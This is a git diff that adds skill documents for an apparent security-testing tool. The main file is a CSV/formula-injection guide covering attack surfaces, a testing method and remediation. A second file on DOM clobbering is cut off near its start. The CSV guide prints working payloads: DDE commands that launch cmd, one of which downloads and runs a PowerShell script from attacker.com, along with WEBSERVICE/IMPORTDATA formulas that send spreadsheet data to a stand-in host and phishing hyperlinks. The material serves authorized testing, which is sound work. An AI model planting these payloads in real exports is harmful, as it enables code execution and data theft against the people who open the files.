diff --git a/strix/skills/vulnerabilities/csv_formula_injection.md b/strix/skills/vulnerabilities/csv_formula_injection.md
new file mode 100644
index 00000000..e0fa4966
--- /dev/null
+++ b/strix/skills/vulnerabilities/csv_formula_injection.md
@@ -0,0 +1,163 @@
+---
+name: csv-formula-injection
+description: CSV/spreadsheet formula injection in export features that execute commands in Excel, LibreOffice, and Google Sheets
+---
+
+# CSV / Formula Injection
+
+CSV injection (also called Formula Injection or Excel Macro Injection) occurs when user-supplied data is included in CSV, XLSX, ODS, or similar spreadsheet exports without sanitization. When the exported file is opened in a spreadsheet application, injected formulas execute — potentially exfiltrating data, making outbound connections, or (in some cases) executing local commands.
+
+## Attack Surface
+
+**Export Features**
+- "Export to CSV" / "Download as Excel" functionality
+- Report generation: financial reports, user lists, analytics exports
+- Audit logs exported to spreadsheet
+- Support ticket exports
+- Contact/customer data exports
+
+**Input Vectors**
+- Any field that ends up in an exported spreadsheet:
+ - Name, company, address fields
+ - Comment/description fields
+ - Subject/title fields
+ - Username, email
+ - Any user-controlled data in admin/reporting exports
+
+## Injection Characters
+
+Spreadsheet applications treat cells starting with these characters as formulas:
+```
+= → formula start (most common)
++ → formula start
+- → formula start
+@ → formula start (Excel)
+\t → tab character (can misparse columns)
+\r → carriage return (can inject new rows)
+\n → newline (can inject new rows)
+```
+
+## Payload Examples
+
+### OOXML/DDE (Dynamic Data Exchange) — Windows RCE
+
+```
+=cmd|' /C calc'!A0
+=cmd|' /C whoami > C:\Users\Public\pwned.txt'!A0
+=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c calc'!A0
+
+# DDE in Excel
+=DDE("cmd","/c calc","1")
+=DDE("cmd","/c powershell -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/x.ps1')","1")
+```
+
+### Data Exfiltration (Universal — works in Google Sheets, Excel Online)
+
+```
+# Exfiltrate current document data via WEBSERVICE/IMPORTDATA
+=WEBSERVICE("http://attacker.com/?data="&A1)
+=IMPORTDATA("http://attacker.com/?d="&CONCATENATE(A1,A2,A3))
+
+# Google Sheets specific
+=IMPORTXML(CONCAT("http://attacker.com/?leak=",CONCATENATE(A1:Z99)),"//a")
+=IMAGE("https://attacker.com/?d="&A1)
+
+# Exfiltrate file contents
+=HYPERLINK("http://attacker.com/?d="&A1,"Click here")
+
+# Formula to read other cells and send externally
+=WEBSERVICE(CONCAT("http://attacker.com/?s=",INDIRECT("A"&ROW())))
+```
+
+### Hyperlink Injection
+
+```
+=HYPERLINK("http://attacker.com/phishing","Click to view invoice")
+=HYPERLINK("http://attacker.com/","Verify your account")
+```
+
+### Exfil via DNS (when HTTP blocked)
+
+```
+# Excel/LibreOffice may allow UNC paths for DNS leak
+=WEBSERVICE("\\\\attacker.com\\a")
+=CALL("KERNEL32","GetTempPathA","JCJ",255,A1)
+```
+
+## Context-Specific Payloads
+
+### Google Sheets
+
+```
+=IMPORTDATA("https://attacker.com/?d="&A1)
+=IMAGE("https://attacker.com/?leak="&ENCODEURL(A1))
+=HYPERLINK(CONCAT("https://attacker.com/?q=",A1),"link")
+
+# Docs formula that exfiltrates spreadsheet owner
+=WEBSERVICE("https://attacker.com/?user="&CELL("address",A1))
+```
+
+### LibreOffice Calc
+
+```
+=WEBSERVICE("http://attacker.com/?d="&A1)
+# LibreOffice macro execution is less common but possible with user approval
+```
+
+### Excel (Desktop)
+
+```
+# DDE (disabled by default since 2017 but still tested)
+=cmd|' /C powershell...'!A0
+
+# External data connection
+=WEBSERVICE("http://attacker.com/?d="&A1)
+# Excel 2016+ blocks WEBSERVICE for external URLs by default but not LAN
+```
+
+## Testing Methodology
+
+1. **Find export features** — Download CSV/Excel from admin panels, reports, profiles
+2. **Inject in all user-controlled fields** — Name, email, comments, any text field
+3. **Basic formula probe** — `=1+1` → if cell shows `2` in export, formula injection confirmed
+4. **Test = + - @ chars** — Try each as first character
+5. **WEBSERVICE/IMPORTDATA** — Set up OAST listener, inject exfiltration payload
+6. **Test hyperlink injection** — Check if phishing links render in exported file
+7. **DDE test** — Try `=cmd|' /C calc'!A0` in Excel environments
+
+## Validation
+
+1. Show the exported CSV/XLSX with the injected formula visible in a cell
+2. Demonstrate that the formula executes when file is opened (if possible safely)
+3. For exfiltration: show OAST callback with cell data
+4. For DDE: show that cmd/calc launches (only in controlled test environment)
+
+## False Positives
+
+- Export sanitizes leading special characters (prepends apostrophe: `'=formula`)
+- Export adds quotes around all fields preventing formula interpretation
+- Application uses library that escapes formula characters (e.g., Apache POI with proper escaping)
+
+## Impact
+
+| Scenario | Impact |
+|----------|--------|
+| Admin exports user data | DDE RCE on admin's machine |
+| User exports own data | Self-XSS (lower severity) |
+| Scheduled reports to executives | High-value target for DDE |
+| Google Sheets imports | Exfiltration of spreadsheet data |
+| Phishing via hyperlink | Credential theft |
+
+## Pro Tips
+
+1. The highest impact is DDE/RCE → but requires Excel + user accepting security warning → P2/P3
+2. WEBSERVICE-based exfiltration via OAST is proof without any user interaction → P3/P4
+3. Focus on admin export features — admins open exported files more often
+4. `=1+1` is your safe canary — if you get `2` in the output cell, injection confirmed
+5. Prefix with `@` for Excel-specific execution: `@SUM(1+1)*cmd|' /C calc'!A0`
+6. Some bug bounty programs specifically mention "CSV injection" as in-scope
+7. Google Sheets auto-executes `=IMPORTDATA()` without user confirmation → data exfil is real
+
+## Summary
+
+CSV injection persists because sanitizing formula characters feels unnecessary — until an admin opens an export. The highest-risk targets are admin-facing exports in desktop Excel. Use `=1+1` to confirm injection, WEBSERVICE/IMPORTDATA for exfiltration proof, and DDE for RCE demonstration. Always sanitize leading formula characters by prefixing with apostrophe or removing them.
diff --git a/strix/skills/vulnerabilities/dom_clobbering.md b/strix/skills/vulnerabilities/dom_clobbering.md
new file mode 100644
index 00000000..392572ad
--- /dev/null
+++ b/strix/skills/vulnerabilities/dom_clobbering.md
@@ -0,0 +1,204 @@
+---
+name: dom-clobbering
+description: DOM clobbering attacks that override global JavaScript variables using HTML elements to achieve XSS
+---
+
+# DOM Clobbering
+
+DOM clobbering exploits the legacy browser behavior where named HTML elements are accessible as global JavaScript properties. By injecting HTML with `id` or `name` attributes, attackers can overwrite global variables, configuration objects, and function references — leading to XSS even without direct script injection.
+
+## Attack Surface
+
+**Vulnerable Patterns**
+- Apps that check `window.X || defaultValue` before sanitizing
+- Configuration objects set by HTML attributes: ``
+- Script tags referencing `window.config`, `window.data`, `window.user`
+- Libraries (DOMPurify < 2.x, older sanitizers) that pass clobbering vectors
+
+**HTML Injection Without Script Tags**
+- Sanitizers that allow `id` and `name` attributes
+- HTML sanitizers that permit ``, `